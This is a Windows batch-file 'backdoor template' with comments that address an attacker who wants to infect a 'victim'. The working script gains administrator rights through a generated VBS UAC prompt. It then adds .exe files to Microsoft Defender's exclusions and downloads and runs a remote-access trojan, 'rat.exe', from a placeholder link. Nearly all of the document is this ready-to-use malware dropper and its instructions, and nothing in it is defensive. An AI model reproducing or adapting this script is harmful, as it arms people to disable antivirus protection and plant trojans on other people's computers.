Simple Batch File Backdoor Template

@echo off
:: In the above code, we need to change a bit in the second line of code from the bottom, please create a direct download link to your :: computer, and make sure that the link contains a trojan virus, malware, etc. you want, next is to name the backdoor that you want to :: download to the victim's computer, let's name it rat.exe. So we have created the Backdoor. Now I will explain how it works.
::
:: ======================= HOW IT WORKS =========================================
::
:: This script grants administrator privileges, then downloads and executes a file named “rat.exe” from a remote server. First, I used :: the cacls command to check the above permissions. the system file is located at “%SYSTEMROOT%\system32\config\system”. If the      :: command fails, the script will switch to the UACPrompt label, which will generate a VB (Visual Basic) script that prompts the victim :: to run the script with administrator privileges. If the cacls command gives no errors then the script jumps to the gotAdmin label :: :: and proceeds to execute the rest. We can see that the label gotAdmin changes to the directory containing the pushd and CD commands. :: It will then run a PowerShell command to set the option for file exclusion extensions to exe. Finally, it switches to the %TEMP%   :: directory and uses the curl command to download “rat.exe” from a remote server. It will then run the downloaded file using the     :: rat.exe command.
::
:: Thus, this Backdoor works very simply, if the machine installs 2 or more Antivirus, this Backdoor becomes useless, and the victim   :: will detect it.
::
:: ======================================== THE CODE STARTS HERE ================================================================
::
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
if '%errorlevel%' NEQ '0' (
    goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"=""
    echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"
    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B
:gotAdmin
    pushd "%CD%"
    CD /D "%~dp0"
Powershell -Command "Set-MpPreference -ExclusionExtension exe"
cd %TEMP%
curl "paste your backdoor link here" -o rat.exe
rat.exe